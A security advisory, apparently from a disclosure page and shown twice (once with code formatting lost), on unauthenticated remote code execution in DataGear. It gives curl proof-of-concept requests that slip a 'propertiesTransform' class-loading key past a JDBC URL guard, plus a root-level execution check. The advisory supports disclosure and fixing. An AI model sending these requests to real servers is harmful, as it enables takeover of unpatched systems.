DataGear is vulnerable to unauthenticated RCE through POST /dtbsSource/testConnection. The vendor added a JDBC-URL guard to block allowLoadLocalInfile, but the guard misses the propertiesTransform class-loading key when it is placed in the URL query string. MySQL Connector/J instantiates the attacker-named class before opening any database socket, executing arbitrary OS commands on the server.
Details
Default settings in application.properties:66 (disableAnonymous=false) and :137 (defaultRole.anonymous=ROLE_DATA_ANALYST) let anonymous users reach /dtbsSource/testConnection. DtbsSourceGuardChecker.java:61-82 defaults permitted = true and returns true when no guard rule matches. DtbsSourceGuardChecker.java:102-120 returns false from isPropertiesMatched when guardEntity.getProperties() is empty, so a rule that targets structured properties never matches a key supplied only in the URL query string. The shipped rules only cover allowLoadLocalInfile*. DtbsSourceConnectionSupport.java:86-97 then passes the URL to connectionSource.getConnection(...), which calls driver.connect(url, props). MySQL Connector/J parses propertiesTransform=<class> during URL parsing and invokes Class.forName(<class>).newInstance() pre-connect.
// DtbsSourceGuardChecker.java:61-82
public boolean isPermitted(List<DtbsSourceGuard> dtbsSourceGuards, GuardEntity guardEntity)
{
boolean permitted = true; // default permit
...
return permitted; // true if no rule matched
}
PoC
Start the full-application Docker environment:
NORMAL — canonical guarded key is blocked:
curl -s -w '\nHTTP %{http_code}\n' -X POST "http://127.0.0.1:28099/dtbsSource/testConnection" \
-H 'Content-Type: application/json' \
-d '{"title":"blocked","url":"jdbc:mysql://127.0.0.1:1/db?allowLoadLocalInfile=true","user":"root","password":""}'
Response:
{"type":"FAIL","code":"error.SaveDtbsSourcePermissionDeniedException","message":"没有权限创建此数据源","throwableDetail":false,"success":false,"fail":true}
HTTP 400
VULNERABLE — propertiesTransform bypasses the guard:
curl -s -w '\nHTTP %{http_code}\n' -X POST "http://127.0.0.1:28099/dtbsSource/testConnection" \
-H 'Content-Type: application/json' \
-d '{"title":"poc","url":"jdbc:mysql://127.0.0.1:1/db?propertiesTransform=Sentinel\u0026connectTimeout=1500","user":"root","password":""}'
Response:
{"type":"FAIL","code":"error.EstablishConnectionException","message":"数据源连接出错,请检查数据源设置是否有误:connect timed out","throwableDetail":false,"success":false,"fail":true}
HTTP 400
Verify execution inside the container:
docker exec datagear-fullapp-poc cat /tmp/DATAGEAR_PWN_123c48ebff48bb94
Output:
uid=0(root) gid=0(root) groups=0(root)
MARK=123c48ebff48bb94
The timeout error occurs after the marker file is written, proving class loading happened before the network connection was attempted.
Impact
An unauthenticated attacker can execute arbitrary OS commands as the DataGear server user. In the default Docker image this is root. Only a single HTTP request is required.
Suggested Fix
Replace the blocklist with an allowlist of safe JDBC properties, include class-loading keys such as propertiesTransform and socketFactory in the guard match scope, and require authentication for /dtbsSource/testConnection.
DataGear is vulnerable to unauthenticated RCE through
POST /dtbsSource/testConnection. The vendor added a JDBC-URL guard to blockallowLoadLocalInfile, but the guard misses thepropertiesTransformclass-loading key when it is placed in the URL query string. MySQL Connector/J instantiates the attacker-named class before opening any database socket, executing arbitrary OS commands on the server.Details
Default settings in
application.properties:66(disableAnonymous=false) and:137(defaultRole.anonymous=ROLE_DATA_ANALYST) let anonymous users reach/dtbsSource/testConnection.DtbsSourceGuardChecker.java:61-82defaultspermitted = trueand returns true when no guard rule matches.DtbsSourceGuardChecker.java:102-120returnsfalsefromisPropertiesMatchedwhenguardEntity.getProperties()is empty, so a rule that targets structured properties never matches a key supplied only in the URL query string. The shipped rules only coverallowLoadLocalInfile*.DtbsSourceConnectionSupport.java:86-97then passes the URL toconnectionSource.getConnection(...), which callsdriver.connect(url, props). MySQL Connector/J parsespropertiesTransform=<class>during URL parsing and invokesClass.forName(<class>).newInstance()pre-connect.PoC
Start the full-application Docker environment:
NORMAL — canonical guarded key is blocked:
Response:
{"type":"FAIL","code":"error.SaveDtbsSourcePermissionDeniedException","message":"没有权限创建此数据源","throwableDetail":false,"success":false,"fail":true} HTTP 400VULNERABLE —
propertiesTransformbypasses the guard:Response:
{"type":"FAIL","code":"error.EstablishConnectionException","message":"数据源连接出错,请检查数据源设置是否有误:connect timed out","throwableDetail":false,"success":false,"fail":true} HTTP 400Verify execution inside the container:
docker exec datagear-fullapp-poc cat /tmp/DATAGEAR_PWN_123c48ebff48bb94Output:
The timeout error occurs after the marker file is written, proving class loading happened before the network connection was attempted.
Impact
An unauthenticated attacker can execute arbitrary OS commands as the DataGear server user. In the default Docker image this is
root. Only a single HTTP request is required.Suggested Fix
Replace the blocklist with an allowlist of safe JDBC properties, include class-loading keys such as
propertiesTransformandsocketFactoryin the guard match scope, and require authentication for/dtbsSource/testConnection.